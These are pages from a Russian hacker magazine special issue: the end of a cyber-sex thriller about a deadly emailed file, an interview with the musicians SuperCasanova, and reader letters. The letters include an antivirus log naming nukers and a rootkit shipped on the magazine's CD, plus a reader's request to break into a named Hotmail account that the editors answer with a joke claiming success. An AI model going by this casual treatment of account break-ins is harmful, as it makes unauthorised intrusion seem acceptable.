«Мститель» - так ты себя называл? Приглашал к нам сильных мира сего, подключал нас к этой проклятой Барби и записывал их эмоции на болванки. А потом, когда они приходили снова, в момент оргазма усиливал его в несколько раз - до такой степени, что люди сходили с ума. Я никогда не забуду безумные лица мужчин, чьих имен я не знала, чьих судеб не ведала. Просто с некоторых пор я не занимаюсь сексом ни с кем, кроме себя самой. Я - это единственный человек, которого я точно не смогу сделать шизофреником..

Хотя... Ты знаешь, сегодня я узнала, что одну из нас посетило, наконец, обыкновенное человеческое счастье - она (не буду говорить кто, чтобы ты не мог излить свою злобу, способную материализоваться) выходит замуж. И одновременно со мной произошло нечто подобное - сегодня в моей квартире был мужчина, взгляд которого запал мне в душу. Он не имел ко мне никакого отношения лично, обыкновенный мастер из компьютерного сервиса, но тем не менее - за последний год, что тебя нет в Москве после разоблачения суперпубличного дома, это первый раз, когда я обратила внимание на лицо противоположного пола.


Спецвыпуск Xakep, номер #033, стр. 033-100-17, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-17

Я хочу закрыть эту тему раз и навсегда. Я тоже готова забыть обо всем - но меня гнетет груз, что хранится на дне самого нижнего ящика моего трюмо в спальне. Твои диски. Наша любовь. Море любви. Я хочу вернуть их тебе.

Я сделала избранное - самые эмоциональные выдержки из наших экстазов. Последний - мой. Хочу, чтобы они были у тебя. Пока не знаю, зачем. Просто эта мысль давно уже гложет меня - отправить тебе твое оружие...

С их помощью ты ничего не сможешь сделать, ведь Барби стоит у меня в комнате, а нового адреса Евы Браун ты не знаешь - но они будут тебе напоминать о тех пятерых, что не вынесли испытания, и о семерых, что могут тебя достать и заставить пройти через то, что прошли твои жертвы. Я уверена - ты не пожалеешь ни времени, ни денег и получишь этот файл. Успехов тебе, Дик. Помни о нас».

Антон ошалело смотрел в экран. Текст письма убил его наповал. Кибер-секс... Элитные проститутки... Дик - человек с гениальными способностями и страшными желаниями...

«Мужчина, взгляд которого запал мне в душу» - прошептал он строки из письма. И вновь перед ним встала Катя Беляева в розовом пеньюаре, женщина с именем жены Гитлера, сводившая с ума при помощи... Даже сложно сказать, при помощи чего.

- Но меня ты свела с ума безо всяких Барби, - сказал Антон сам себе.

Он протер глаза ладонями и задумался. Потом вызвал такси, поехал в сервис-центр, скачал семисотметровый аттач, приделал к нему автостарт и переслал его Дику. А выполнив задуманное, купил большой букет роз, бутылку шампанского и поехал к ней домой.

* * * * *

- «...Я уверена, что ты не пожалеешь ни времени, ни денег и получишь этот файл. Успехов тебе, Дик. Помни о нас» - человек за компьютером, словно сошедший с фотографии на стене в квартире Евы, закончил чтение первого письма и взглянул на второе, содержащее вложение в семьсот мегабайт с хвостиком.

Откинувшись в кресле, он понимающе покачал головой и улыбнулся.

- Это Марго нашла меня, - сказал он сам себе. - Она всегда была лучшей во всем, недаром ведь собиралась поступать куда-то на информатику... «Помни о нас». Я всегда помню моих девочек... Клео, Жасмин, Ева - я придумывал такие имена, чтобы секс с вами казался моим клиентам экзотикой. На это они обычно и клевали, недаром процент возвращения ко мне и к вам был необычайно высок - единожды испытав на себе ваши прелести и ласки, девять из десяти хотели вас снова... Конечно же, я получу этот файл. Меня не покидает надежда создать еще одну такую... Барби.

По выделенному каналу файл перетекал с огромной скоростью, через несколько минут Дик отключился от Сети, выбрал письмо с вложением и взглянул на него. Из маленькой скрепки в углу, символизирующей файл, выскочил прямоугольничек с красными буквами.


Спецвыпуск Xakep, номер #033, стр. 033-100-18, МОРЕ ЛЮБВИ

МОРЕ ЛЮБВИ

Спецвыпуск Xakep, номер #033, стр. 033-100-18

«Щелкни по мне», - удивленно прочитал Дик и машинально нажал кнопку «мыши». На экране медленно проступила фотография красивой полуобнаженной женщины в сексуальном черном кружевном белье. А еще через секунду она рассыпалась на миллионы вращающихся точек, на бесконечно изменяющийся узор...

Дик застыл, зомбированный этим танцем взорвавшейся красавицы. Его начало понемногу трясти, на лице появилось некое подобие блаженной улыбки. Рука отпустила «мышку»; пальцы попытались расстегнуть «молнию» на джинсах - не получилось, но, как оказалось, это было и не нужно. Глаза были прикованы к экрану, дыхание стало частым, поверхностным, крылья носа затрепетали - часто, как мотылек. Спустя минуту его настиг мощный оргазм, спровоцированный самораспаковавшимся файлом Евы Браун; внезапно он захрипел и обмяк в кресле. Правый глаз налился красным, угол рта повис, как парус в безветренную погоду; изо рта неконтролируемо потекла слюна.

Дик около минуты медленно сползал с кресла, потом вся правая половина тела, отказавшая в результате кровоизлияния в мозг, потянула его камнем к полу. Он упал рядом с компьютером лицом в ковер; через несколько часов внутричерепная гематома убила его совсем. На экране медленно растаяла красавица в черном белье...

* * * * *

Конечно же, она впустила его. Они выпили шампанское, потом она ушла в ванну Евой Браун, а вышла оттуда Катей Беляевой.

Пока она подставляла свое красивое тело струям прохладной воды, Антон осторожно снял со стены фотографию Дика и опустил на пол.

А потом было МОРЕ ЛЮБВИ...


Спецвыпуск Xakep, номер #033, стр. 033-108-1, SuperCasanova: Eric Bonerz и The Millionaire

SuperCasanova: Eric Bonerz и The Millionaire

n0ah (n0ah@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-108-1

Недавно в Москву приезжали двое прикольных чуваков, называющих себя SuperCasanova. Это Eric Bonerz и The Millionaire. Этих ребят называют гуру музыкального программирования, поэтому то мы и решили взять у них интервью. Что касается музыки, которую они играют, то ты сможешь ее себе представить, если слышал о проекте Combustible Edison (The Millionaire, кстати, является одним из его участников).

Как оказалось, ребята не просто прикольные, а просто экстремально прикольные! Eric Bonerz и The Millionaire ругались между собой все интервью, перебивали друг друга и вообще оттягивались, как только могли. Задав первый же вопрос на тему компов, я получил такой флейм информации, что это отбило у меня всякую охоту вообще во что-либо вникать :). Читай и наслаждайся - они действительно прикольные.

Спец: Привет! Это журнал Хакер. Я буду задавать всякие компьютерные вопросы, не пугайтесь, ок?

The Millionaire: Ок, начинай!

Eric Bonerz: Да, мы готовы.

Спец: Ребята, я слышал, что при создании музыки вы используете какой-то суперкомпьютер, мейнфрейм. Это правда? Что это за штука?

The Millionaire: Да это так. Этот суперкомпьютер спроектировали какие-то военные ученые. Я не шибко разбираюсь во всех этих делах и не могу точно сказать, что там внутри... - нет, я использую компьютер каждый день, но... Короче, он очень функциональный. На нем используется специальная оперативная система - я, честно говоря точно не помню, как она называется, но она очень удобная, потрясающе удобная.

Eric Bonerz: Да, это крутая машина. Ее обслуживают специальные люди. там все очень секретно. Например, нельзя входить в комнату, где эта машина стоит - ты не сможешь ее даже увидеть. Мы особо не лезем. То есть мы просто заходим туда, делаем то, что нам надо и все. Никуда не лезем. Когда что-то не ладиться, приходят некие чуваки. Очень стильные, и что-то делают. Мы толком не понимаем, что, но выглядят они очень здорово.

The Millionaire: У этих ребят паранойя по поводу индустриального саботажа!

С: А эта штука подключена к инету?

TM: Нет!

EB: Нет-нет-нет! (перебивая друг друга)

TM: Нет, он полностью отдельный, он один такой и ни к чему не подключен.

С: Ага, боитесь хакеров?

TM: Да, определенно боимся.

EB: Интернет... Я юзаю его на своем домашнем компе, без проблем! Я имею в виду, мы любим Интернет.

TM: Ага, Интернет мы любим, это очень удобная штука и все такое. Можно что-то всегда послать, получить, найти. Но со всеми этими удобствами Интернет приносить еще и большую опасность. Мне кажется эти ребята, которые обслуживают наш мейнфрейм, они боятся, что что-то попортит наши файлы, какой-нибудь вирус или что-то типа того.

EB: Короче, да, мы юзаем Интернет. Но не на нашем мейнфреме. На других компьютерах.

С: Приходилось когда-нибудь общаться с какими-нибудь хакерами?

EB: Дааа, блиииин, черт его знает... Наверное, нет.

С: Хм, какую операционку используете дома?

EB: Дома - Mac.

TM: Я тоже Mac.

С: Оба Mac? А че так?

EB: Да он очень простой, вот и все. Потом на PC ты не сможешь делать музыку.

TM: Под мак есть огромное количество музыкального софта.


Спецвыпуск Xakep, номер #033, стр. 033-108-2, SuperCasanova: Eric Bonerz и The Millionaire

SuperCasanova: Eric Bonerz и The Millionaire

n0ah (n0ah@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-108-2

С: Уфф, ребята, давайте больше не будем о компьютерах, а? Скажите лучше, как вам фильмы Квентина Тарантино?

EB: Ммм.., он (показывает на The Millionaire) делал музыку для одного из этих фильмов.

С: Ага, я знаю - "Четыре комнаты".

TM: О, мне очень понравилось! Очень стильно! Вообще все эти здоровые хмурые парни с пушками - это клево. Парень (Тарантино) реально поднял стиль.

EB: Я вообще считаю, что он делает очень хорошие фильмы. Правильное кино.

С: Ладно, отвлеклись на секунду, теперь обратно к компьютерам. Мой следующий вопрос...

TM: А это что, какой-то компьютерный журнал что ли?

С: Ну да! Это журнал Хакер, я же сказал в самом начале! В этом то все и дело!

TM: О, черт! Хакер. Точно! Извини, я забыл, запутался, пока отвечал на твои вопросы - так много интервью сегодня...

С: Да ничего, все нормально. Итак, парни, вы играете в компьютерные игры?

EB: Я играю! Ты имеешь в виду видеоигры, правильно?

С: Ага.

TM: А я не играю. Мне кажется, все игры сейчас не интересные. Ну, это же просто тупое нажимание кнопок! Я буду играть в компьютерные игры, когда они станут действительно интересными, захватывающими. Чтоб тебе приходилось шевелить задницей, а не пальцами.

EB: Фигня! У меня есть Play Station 2, и я с удовольствием в нее играю. Мне вообще нравятся китайские игрушки и китайская музыка. Я просто сажусь и получаю удовольствие - называй это, как хочешь, шевелением пальчиками или как угодно еще. А какая самая популярная приставка здесь?

С: Я не уверен, но, наверное, Xbox... Эрик, а ты пробовал GTA: Vice City?

EB: О, да! Один мой очень хороший друг работает в этой компании, Rockstar Games. Прикольная игрушка. Настоящий компьютерный вирус, я бы сказал. Отнимает кучу времени. И очень стильная при этом.

С: Я потому и спросил, что вы, ребята, прямо как два персонажа из этой игры.

EB: Ха, точно! Но игра действительно крутая, прямо все ощущения, как будто ты едешь на тачке, а когда врезаешься в кого-нибудь... - я не знаю, какие там должны быть ощущения, но я делаю так: "Вааааау!".

TM: А я все жду, пока появится настоящая виртуальная реальность. Когда все сенсорные функции будут включены, не только изображение и звук, как сейчас. Чтоб можно было унюхать, почувствовать... Или лучше чтоб вообще все попадало прямо тебе в мозг! Вот это действительно круто...

EB: Не будет такого!

TM: Через пять лет! Я уверен, что все это появится через пять лет!

EB: Нет! Ты что, думаешь, что все будет как в Star Trek? Боюсь, не дождешься.

TM: Не совсем, но примерно так. Все что предсказала научная фантастика, почти все свершилось!

EB: Короче, мне кажется, что виртуальная реальность - фигня. Так и напиши, напиши, что ее не будет.

TM: Тогда напиши, что я с этим не согласен!

С: Ок, ок, ребята! Напишем и то, и другое, не вопрос. Только не ссорьтесь (все смеются).

С: Я так понял, вы тащитесь от киберпанка, так?

TM: Мне нравится, но, честно говоря, концепт немного мрачноватый: люди уничтожат сами себя, огромные корпорации завладеют миром и все такое... А вообще книжки интересные.

EB: Ты читал Гибсона?


Спецвыпуск Xakep, номер #033, стр. 033-108-3, SuperCasanova: Eric Bonerz и The Millionaire

SuperCasanova: Eric Bonerz и The Millionaire

n0ah (n0ah@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-108-3

TM: Да, в том числе и его. Он - отец жанра.

С: А я читаю книжки Гибсона прямо с этой штуки (показываю им КПК). Очень удобно, кстати.

С: Ок, поехали дальше: если бы вам предложили вживить такой чип, чтоб вы могли делать что-нибудь необычное, что бы вы выбрали?

TM: Я выбрал бы невидимость. Это действительно то, что я хочу.

EB: А я попросил бы, чтоб мне в палец вживили кредитную карточку. Обычную кредитку, но чтоб в пальце - всегда с собой, никогда не потеряешь.

С: Не знаю, как вам такой вопрос, но я его все-таки задам: если бы у вас был шанс, грохнуть какого-нибудь чувака, но без всяких последствий для себя и без всяких проблем с законом, воспользовались бы им?

EB: Нет.

TM: Знаешь, некоторых чуваков я готов грохнуть даже с учетом всех последствий и проблем с законом!

EB: Ты смог бы убить человека?

TM: Да, иногда мне кажется, что смог бы.

EB: Не думаю.

TM: А откуда тебе знать? (спокойно так, посмотрев прямо в глаза Эрику - пауза, потом все смеются).

С: Назовите свои любимые тачки.

EB: Мне нравится Lamborgini Diablo VT. Она просто невероятная!

TM: Мой любимый автомобиль - Buick Rivera 1972 года выпуска. Великолепная спортивная тачка с самым большим двиглом, когда-либо установленным в машину.

С: Как вы думаете, ребята, человечество построит когда-нибудь колонию на Марсе?

EB: Неа, вряд ли.

TM: Построит-построит! Это будет самый элитный район, потому что близко к Земле. Я надеюсь, люди не загадят Марс так же, как Землю.

EB: Ну вот опять, он меня совсем не слушает! Облажал все интервью, перечит мне по каждому вопросу!

С: А какое самое лучше место для вас на Земле?

TM: Вообще-то, если учесть, что мы выбрали Лос-Анджелес, то это он и есть. Но там много как плюсов, так и минусов. Очень специфическое место. А еще мне нравится Луизиана. Это одно из самых опасных мест в Америке, но я там себя отлично чувствую.

EB: Я люблю Францию. Но я бы не стал жить там. Во Франции клево отдыхать, гулять.

С: Ок. Это все мои вопросы. Спасибо, ребята, вам за интервью!

TM: Удачи!

EB: Да, очень весело пообщались. Пока!


Спецвыпуск Xakep, номер #033, стр. 033-110-1,

From: mox_falder@mail.ru

Subj: Типа написать вам решил...

Хей!!!!!!!!

Не буду растекаться мыслию по древу о том, что вы супер-пупер бла-бла-бла-бла-бла-бла-бла-бла-бла-бла-бла, а перейду к делу:

во-первых, вам следовало назвать эту серию Спецов не ОСи, а софт 4use/4xak/4work/;

во-вторых, мне настолько понравились оса и пингвин с обложек номеров про оси 4use & 4xak, что я непременно решил заполучить их в качестве Обоев на р. Стол, и не могли бы вы их выслать мне на мыло?

Плиззз!!!

В-третьих, на диске в описаниях к прогам надо обязательно писать, для каких ОСей они.

Ну, вроде все.

To: mox_falder@mail.ru

Хм, я тоже не буду растекаться мышью по href'у, а перейду к делу: серия была названа "ОСи" по ряду весьма объективных причин. Все-таки мы не просто писали про софт, а сравнивали по разным критериям ВЫНЬ и ЛИНЬ. Причем иногда заставляли себя реализовывать совсем абсурдные на первый взгляд идеи. Например, ты можешь себе представить офисную сетку на ЛИНЕ? А мы можем! Причем в наш век регистраций и активаций такое становится вполне возможным - абсолютно бесплатный и рабочий софт вместо дорогого корпоративного. Альтернатива, епрст! По поводу соотнесения осей и софта сделал Киру втык, хотя он сопротивлялся и кричал нечленоразборчивые фразы типа "чего непонятного, ВинНюк под Линь, что ли?". И последнее... На мыло мы тебе ни хрена не выслали... Зато выложили картинки на диск :). Забирай и пользуй. С уважением, система доставки файлов Дронич-он-деманд.

From: "Дмитрий Анисимов" (dmitriy.anisimov@mail.ru)

Subj: Нннда... Мое почтение и вопрос.

Доброе время суток конкретно редакция и в частности все, кто сие прочтет.

Для начала немного хвалы и критики - дабы знали...

Спец - вещь хорошая и нужная во всех отношениях... Много мусора (но куда ж без него - многим он нужен... мне просто - не очень)... Но вообще устраивает как бы все.

Единственное, что убивает - лексикон и форма речи...

Ну народ... Ей богу... Ваш журнал же не только 15 летние пацаны читают. Для некоторых (имхо, многих) серьезных людей некоторые номера чуть ли не библией считаются... У меня парочка так прям на самом видном месте лежит, дабы часто туда глядеть. А читая: «Ну, перец, щаззз мы с тобой замутим офигеннейшую хрень - сори...». Это, конечно, весело, а потому желание как бы работать как бы напрочь отбивает :).

Ну да то хозяин-барин. Дело-то ваше.

Собственно вопрос: где бы взять старые номерки Спеца: Номера с 1 по 28-й включительно??? А??? Ну как бы очень нужно... Для общего развития.

В общем, вот.

Спасибо за внимание.

С уважением.

Диметрий Анисимов.

P.S. Ответ бы был очень желателен от вас.

To: Дмитрий Анисимов" (dmitriy.anisimov@mail.ru)

Ух, Дмитрий, поднял ты самую тяжелую для нас тему... Мы находимся в постоянных колебаниях, писать более серьезно или более стебово. На данный момент наш концепт следующий - стебовое чтение, наталкивающее на реализацию идей, должно подкрепляться чтением мануалов, документаций и HOWTO. Так что мутить офигеннейшую хрень чисто по материалам статьи все равно непросто. А вот в случаях, когда мануал недоступен, мы переходим к более серьезному изложению - посмотри, например, статьи Анализирующего про WSH... А про старые номера ничего хорошего не скажу - нету их :(. Остались только в электронном виде и в виде больших бумажных архивов у меня и Донора... Хотя серия по взлому регулярно выкладывается на диск, так что можешь воспользоваться ею. Вот и все, тебе тоже спасибо :).


Спецвыпуск Xakep, номер #033, стр. 033-110-2,

From: Igor Grigorev (igor96natali999@mail.ru)

Subj: Re: 3DNews

Уважаемый, Рубен.

Хочу сказать несколько слов по поводу выпущенного вами последнего спецвыпуска журнала "Хакер", в частности о том, что на компакт-диске антивирусом (слава богу, что им) мною было обнаружено 42 вируса. Я просто весь в недоумении.

Сам журнал очень интересен, но думаю, что в будущем я откажусь от практики приобретать его с диском или вообще перестану покупать, т.к. их обычно продают только с дисками.

Вот их список:

AVP32 проверяет 30.06.2003 09:02:04

E:\soft\buffer\GetAd.exe обнаружен вирус Exploit.Win32.Getad

E:\soft\buffer\RPCNuke.zip/RPCNuke/Exe/RPCNuke.exe обнаружен вирус Nuker.Win32.RPCNuke

E:\soft\rootkit\lrk4.shad.tar.gz/lrk4.shad.tar/lrk4/inetd/inetd обнаружен вирус Trojan.Linux.Rootkit.40

E:\soft\windos\IGMP.exe обнаружен вирус Nuker.Win32.HackNuke.18

E:\soft\windos\samnuke.zip/samnuke.exe обнаружен вирус Nuker.Win32.Samnuk

E:\soft\windos\smbdie.zip/SMBdie.exe обнаружен вирус Nuker.Win32.SmbDie

E:\soft\windos\voidozer.zip/voidozer.exe обнаружен вирус Nuker.Win32.Voidozer

E:\soft\windos\wnewk.zip/wnewk.exe обнаружен вирус Nuker.WNewk.102

E:\soft\winspoof\expgen085.zip/exploitgenerator.exe обнаружен вирус Trojan.Win32.Exploit

E:\soft\winspoof\icnewq.zip/icnewq.exe обнаружен вирус Flooder.ICQ.Icnewq.30

[остатки списка поскипаны Дроничем ради экономии места)

Очень бы хотел узнать ваши размышления на этот счет.

Игорь. г. Пермь

To: Igor Grigorev (igor96natali999@mail.ru)

Ну что, господа, все уже отсмеялись? Нет? Я подожду... Короче, Игорь-город-Пермь, мы тут все уже лежим в истерике. Но раз ты хочешь размышлений - получай. Ради того, чтобы обезопасить ламоботов от пользования всем, что может принчипиально навредить их компу, дядя Каспер включает в свою базу ВСЕ хакерские утилы, которые только может найти. Честно говоря, я слабо себе представляю человека, который способен запустить нюкер с адресом 127.0.0.1... Хотя нет, теперь представляю :). Причем вполне четко. Такой чувак из Перми...

Кстати, мы тоже все в недоумении - почему ты перестанешь покупать журнал, если он будет с диском? То есть без диска он тебе нравится, а с диском - нет? Почему? Ладно, оставлю эту загадку на твоей совести. Отдыхай дальше :).

From: Никита (knikita@pisem.net)

Subj: про журнал.

Привет, всем спец-хакерам! Вот купил тут недавно ваш второй номер с диском (жаль, что первый купить не удалось) и сразу же начал с интересом изучать его содержимое. Покликав по ссылкам, наткнулся на хак-видео. Интересно, но сразу возникает много пожеланий: во первых, сразу возникает ощущение, что видео делалось на лету, то есть совсем не продумывались аспекты этого дела. На первых минутах фильма из-за этого получилась небольшая пауза. А так хорошо - ждем следующих взломов.


Спецвыпуск Xakep, номер #033, стр. 033-110-3,

А в целом первый (для меня) диск получился ничего. Ждем следующих выпусков.

З.Ы. На лицензионную theBat не претендую, но хотелось бы увидеть свое письмо на страницах журнала.

To: Никита (knikita@pisem.net)

Ну вот, блин! Наше мега-хак-видео на самом деле делалось абсолютно на лету. Фишка была не в том, чтобы показать вам, как именно надо ломать - для этого в номере куча статей с более сложными примерами хака. Это просто атмосферный лог, записанный по приколу посреди ночи :). Причем под довольно позитивную музыку. И хотя для нас всех этот вид взлома выгладит игрушечным, мы все равно пересматривали этот ролик по пять раз и дико перлись. Перлись от того, что сумели повторить неповторимое - ощущения хакера во время взлома. Ну и пусть что игрушечного... :). Кстати, в этом номере все будет посерьезнее :).

From: threesnake (threesnakes@ukr.net)

Subj: i_stoned

Hi, SpecHacker.

Спасибо за ваш журнал!

Читаю давно (почти что с первых номеров). Доволен! Последний номер с CD-best stuff what i've got!!! Вау, софт свежайший (ну почти свежайший), нужный и полезный. А инфы сколько... "Я прям щас кончу" ("Up In Smoke")! И очень приятно то, что цена не возросла. И за старые номера отдельный сенкс.

ИМХО № 1

Дизайн журнала мне нравится. И прошлый нравился. И позапрошлый...

В общем, хорошие у Вас дизайнеры/художники и т.п. И если дизайн не менять каждые три-четыре номера, то они ж без работы останутся. А у них жены, мужья, дети, собаки, компы неапгрейденные и прочие приблуды, которые требуют денежных вливаний. Ну, может можно им более достойное занятие подыскать, а дизайн пусть под Новый год "автоматический генератор бреда" делает :-))))). И не чаще, а то в глазах рябит слишком часто.

ИМХО № 2

НУЖЕН СВОЙ САЙТ!!! Winfo.org, конечно, в Bookmarks'ах есть, но...(см. начало абзаца)

ИМХО № 3

Серии - отличная идея. Иногда в рамках одного номера все по теме не расскажешь, а еще и об остальном сказать надо. Так держать за...

Даешь серию по кодингу. Си Дельфя и все-все-все.

ИМХО № 4

Взлом нужен! Ведь журнал-то называется СпецЧто? Правильно, ХАКЕР. А кому не нравиться жара, get out of the kitchen.

ИМХО № 5

Все на CD! И все рассказы NIRO обязательно! И ко всему креки и серийни... Ой, извиняюсь что-то меня не туда занесло.

Вот. Спасибо. Приятного вам летнего отдыха!

To: threesnake (threesnakes@ukr.net)

Дронич прочел последнее письмо и всплакнул над клавиатурой... Как мы все клево делаем, как вовремя мы придумали серии, как много мы пишем про взлом, какой классный у нас дизайн и как помогает журналу winfo.org... Но, тем не менее, все это скоро закончится, новые дизайнеры переколбасят макет номера, редакторы отменят серии, авторы начнут писать про всякую лабуду, а ВИНфо так и не выйдет из дауна... И на этой депрессивной ноте я хочу сказать одну только фразу - экипаж прощается с вами и желает приятного полета!

До встречи на форуме winfo, читатель!

Valerya (valerya2003@mail.ru)

Помогите взломать ящик ossamasaad@hotmail.com! Жду ответа и результата.


Спецвыпуск Xakep, номер #033, стр. 033-110-4,

Ответ: "Результат: взломали." Но никому ничего не скажем.

DMx (kern@peterlink.ru)

У меня вопрос: как убрать на фиг кнопку Пуск?

Поставить ЛИНЬ и расслабиться...